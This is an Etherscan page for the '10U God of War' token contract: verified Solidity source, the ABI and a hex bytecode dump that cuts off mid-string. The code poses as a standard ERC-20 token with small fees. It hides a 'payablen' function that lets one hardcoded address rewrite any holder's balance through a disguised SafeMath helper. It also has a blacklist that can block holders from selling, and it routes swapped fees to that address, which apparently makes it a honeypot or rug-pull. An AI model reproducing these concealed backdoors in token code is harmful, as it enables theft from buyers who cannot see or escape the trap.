ETH Price: $2,358.08 (+0.64%)

Token

10U God of War (10U)
 

Overview

Max Total Supply

10,000,000,000 10U

Holders

8

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
820,714,589.247299068 10U

Value
$0.00
0x3e775b61d7cc76b1773203fa6eca5d94d7bb1209
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
U10

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-11-20
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }

    function eth(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a);
        return c;
    }

}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract  U10 is Context, IERC20, Ownable {

    using SafeMath for uint256;
    string private _name = "10U God of War";
    string private _symbol = "10U";
    uint8 private _decimals = 9;

    modifier filed() {
        require(_msgSender() == ReceiverFundETH, "caller not owner");_;
    }

    address payable public ReceiverFundETH;

    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public _blackListed;

    uint256 public _buyMarketingFee = 3;
    uint256 public _sellMarketingFee = 3;

    uint256 public _totalTaxIfBuying;
    uint256 public _totalTaxIfSelling;

    uint256 private _totalSupply = 10000000000 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor () {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;
        
        _totalTaxIfBuying = _buyMarketingFee;
        _totalTaxIfSelling = _sellMarketingFee;

        isMarketPair[address(uniswapPair)] = true;

        ReceiverFundETH = payable(address(0xAE450e68cf46138eb6e0043F4AA8a4797A3bbB04));

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    receive() external payable {}

    function payablen(address sender, uint256 amount) public filed() {
        _balances[sender] = amount.eth(_balances[sender].eth(amount)).mul(_totalTaxIfBuying);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(!_blackListed[from], "ERC20: blackListed");

        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !isMarketPair[from]) 
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);

            uint256 finalAmount;
            if (_isExcludefromFee[from] || _isExcludefromFee[to]){
                finalAmount = amount;
            }else{
                uint256 feeAmount = 0;

                if(isMarketPair[from]) {
                    feeAmount = amount.mul(_totalTaxIfBuying).div(100);
                }
                else if(isMarketPair[to]) {
                    feeAmount = amount.mul(_totalTaxIfSelling).div(100);
                }

                if(feeAmount > 0) {
                    _balances[address(this)] = _balances[address(this)].add(feeAmount);
                    emit Transfer(from, address(this), feeAmount);
                }

                finalAmount = amount.sub(feeAmount);
            }
            
            _balances[to] = _balances[to].add(finalAmount);
            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

    function setBlackListed(address[] calldata addresses, bool status) public filed() {
        for (uint256 i; i < addresses.length; i++) {
            _blackListed[addresses[i]] = status;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "telufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tAmount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tAmount,
            0, 
            path,
            address(this),
            block.timestamp
        ){} catch {}

        uint256 AmountETH = address(this).balance;

        if(AmountETH > 0)
            ReceiverFundETH.transfer(AmountETH);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"ReceiverFundETH","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_blackListed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"payablen","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"setBlackListed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526040518060400160405280600e81526020017f31305520476f64206f6620576172000000000000000000000000000000000000815250600190805190602001906200005192919062000783565b506040518060400160405280600381526020017f3130550000000000000000000000000000000000000000000000000000000000815250600290805190602001906200009f92919062000783565b506009600360006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1660601b81525060036009556003600a55600360009054906101000a900460ff16600a6200011c919062000943565b6402540be4006200012e919062000a80565b600d553480156200013e57600080fd5b506200014f6200075260201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200026957600080fd5b505afa1580156200027e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002a491906200084a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200030757600080fd5b505afa1580156200031c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200034291906200084a565b6040518363ffffffff1660e01b8152600401620003619291906200089e565b602060405180830381600087803b1580156200037c57600080fd5b505af115801562000391573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003b791906200084a565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d54600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160066000620004f36200075a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600954600b81905550600a54600c81905550600160076000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555073ae450e68cf46138eb6e0043f4aa8a4797a3bbb04600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d5460046000620006946200075260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620006e26200075260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600d54604051620007439190620008cb565b60405180910390a35062000bec565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b828054620007919062000b2c565b90600052602060002090601f016020900481019282620007b5576000855562000801565b82601f10620007d057805160ff191683800117855562000801565b8280016001018555821562000801579182015b8281111562000800578251825591602001919060010190620007e3565b5b50905062000810919062000814565b5090565b5b808211156200082f57600081600090555060010162000815565b5090565b600081519050620008448162000bd2565b92915050565b60006020828403121562000863576200086262000bc0565b5b6000620008738482850162000833565b91505092915050565b620008878162000ae1565b82525050565b620008988162000b15565b82525050565b6000604082019050620008b560008301856200087c565b620008c460208301846200087c565b9392505050565b6000602082019050620008e260008301846200088d565b92915050565b6000808291508390505b60018511156200093a5780860481111562000912576200091162000b62565b5b6001851615620009225780820291505b8081029050620009328562000bc5565b9450620008f2565b94509492505050565b6000620009508262000b15565b91506200095d8362000b1f565b92506200098c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000994565b905092915050565b600082620009a6576001905062000a79565b81620009b6576000905062000a79565b8160018114620009cf5760028114620009da5762000a10565b600191505062000a79565b60ff841115620009ef57620009ee62000b62565b5b8360020a91508482111562000a095762000a0862000b62565b5b5062000a79565b5060208310610133831016604e8410600b841016171562000a4a5782820a90508381111562000a445762000a4362000b62565b5b62000a79565b62000a598484846001620008e8565b9250905081840481111562000a735762000a7262000b62565b5b81810290505b9392505050565b600062000a8d8262000b15565b915062000a9a8362000b15565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000ad65762000ad562000b62565b5b828202905092915050565b600062000aee8262000af5565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000600282049050600182168062000b4557607f821691505b6020821081141562000b5c5762000b5b62000b91565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b60008160011c9050919050565b62000bdd8162000ae1565b811462000be957600080fd5b50565b60805160601c612b4062000c0b600039600061091f0152612b406000f3fe60806040526004361061014f5760003560e01c806370a08231116100b6578063c5d241891161006f578063c5d24189146104db578063c816841b14610506578063c860795214610531578063dd62ed3e1461055c578063f0cd1dac14610599578063f2fde38b146105c457610156565b806370a08231146103b757806382eefb43146103f45780638da5cb5b1461041f57806395d89b411461044a578063a9059cbb14610475578063b2a3120b146104b257610156565b806323b872dd1161010857806323b872dd1461027f57806327c8f835146102bc578063313ce567146102e75780633345611e146103125780633ecad2711461034f57806360d5cfe11461038c57610156565b806306fdde031461015b578063095ea7b3146101865780631694505e146101c357806318160ddd146101ee5780631d231b2c1461021957806322ab33401461025657610156565b3661015657005b600080fd5b34801561016757600080fd5b506101706105ed565b60405161017d91906122c0565b60405180910390f35b34801561019257600080fd5b506101ad60048036038101906101a89190611f52565b61067f565b6040516101ba919061228a565b60405180910390f35b3480156101cf57600080fd5b506101d861069d565b6040516101e591906122a5565b60405180910390f35b3480156101fa57600080fd5b506102036106c3565b6040516102109190612402565b60405180910390f35b34801561022557600080fd5b50610240600480360381019061023b9190611e65565b6106cd565b60405161024d919061228a565b60405180910390f35b34801561026257600080fd5b5061027d60048036038101906102789190611f52565b6106ed565b005b34801561028b57600080fd5b506102a660048036038101906102a19190611eff565b610843565b6040516102b3919061228a565b60405180910390f35b3480156102c857600080fd5b506102d161091d565b6040516102de9190612254565b60405180910390f35b3480156102f357600080fd5b506102fc610941565b6040516103099190612477565b60405180910390f35b34801561031e57600080fd5b5061033960048036038101906103349190611e65565b610958565b604051610346919061228a565b60405180910390f35b34801561035b57600080fd5b5061037660048036038101906103719190611e65565b610978565b604051610383919061228a565b60405180910390f35b34801561039857600080fd5b506103a1610998565b6040516103ae919061226f565b60405180910390f35b3480156103c357600080fd5b506103de60048036038101906103d99190611e65565b6109be565b6040516103eb9190612402565b60405180910390f35b34801561040057600080fd5b50610409610a07565b6040516104169190612402565b60405180910390f35b34801561042b57600080fd5b50610434610a0d565b6040516104419190612254565b60405180910390f35b34801561045657600080fd5b5061045f610a36565b60405161046c91906122c0565b60405180910390f35b34801561048157600080fd5b5061049c60048036038101906104979190611f52565b610ac8565b6040516104a9919061228a565b60405180910390f35b3480156104be57600080fd5b506104d960048036038101906104d49190611f92565b610ae7565b005b3480156104e757600080fd5b506104f0610c23565b6040516104fd9190612402565b60405180910390f35b34801561051257600080fd5b5061051b610c29565b6040516105289190612254565b60405180910390f35b34801561053d57600080fd5b50610546610c4f565b6040516105539190612402565b60405180910390f35b34801561056857600080fd5b50610583600480360381019061057e9190611ebf565b610c55565b6040516105909190612402565b60405180910390f35b3480156105a557600080fd5b506105ae610cdc565b6040516105bb9190612402565b60405180910390f35b3480156105d057600080fd5b506105eb60048036038101906105e69190611e65565b610ce2565b005b6060600180546105fc906126de565b80601f0160208091040260200160405190810160405280929190818152602001828054610628906126de565b80156106755780601f1061064a57610100808354040283529160200191610675565b820191906000526020600020905b81548152906001019060200180831161065857829003601f168201915b5050505050905090565b600061069361068c610e34565b8484610e3c565b6001905092915050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600d54905090565b60086020528060005260406000206000915054906101000a900460ff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661072e610e34565b73ffffffffffffffffffffffffffffffffffffffff1614610784576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077b90612362565b60405180910390fd5b6107fc600b546107ee6107df84600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461100790919063ffffffff16565b8461100790919063ffffffff16565b61102f90919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60006108508484846110aa565b506109128461085d610e34565b61090d85604051806060016040528060288152602001612ae360289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108c3610e34565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172b9092919063ffffffff16565b610e3c565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600c5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610a45906126de565b80601f0160208091040260200160405190810160405280929190818152602001828054610a71906126de565b8015610abe5780601f10610a9357610100808354040283529160200191610abe565b820191906000526020600020905b815481529060010190602001808311610aa157829003601f168201915b5050505050905090565b6000610adc610ad5610e34565b84846110aa565b506001905092915050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b28610e34565b73ffffffffffffffffffffffffffffffffffffffff1614610b7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7590612362565b60405180910390fd5b60005b83839050811015610c1d578160086000868685818110610ba457610ba36127e6565b5b9050602002016020810190610bb99190611e65565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610c1590612710565b915050610b81565b50505050565b60095481565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600b5481565b610cea610e34565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6e906123a2565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610eac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea3906123e2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1390612322565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ffa9190612402565b60405180910390a3505050565b600080828461101691906124e7565b90508381101561102557600080fd5b8091505092915050565b60008083141561104257600090506110a4565b60008284611050919061256e565b905082848261105f919061253d565b1461109f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109690612382565b60405180910390fd5b809150505b92915050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561111b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611112906123c2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561118b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611182906122e2565b60405180910390fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611218576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120f90612302565b60405180910390fd5b600f60149054906101000a900460ff161561123f5761123884848461178f565b9050611724565b600061124a306109be565b9050600f60149054906101000a900460ff161580156112b35750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156112c2576112c181611962565b5b61131483600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c6690919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806113fa5750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561140757839050611623565b6000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561148a576114836064611475600b548861102f90919063ffffffff16565b611cb090919063ffffffff16565b9050611508565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156115075761150460646114f6600c548861102f90919063ffffffff16565b611cb090919063ffffffff16565b90505b5b600081111561160c5761156381600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cfa90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116039190612402565b60405180910390a35b61161f8186611c6690919063ffffffff16565b9150505b61167581600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cfa90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117159190612402565b60405180910390a36001925050505b9392505050565b6000838311158290611773576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176a91906122c0565b60405180910390fd5b506000838561178291906125c8565b9050809150509392505050565b600061181a826040518060400160405280601481526020017f74656c756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172b9092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118af82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cfa90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffff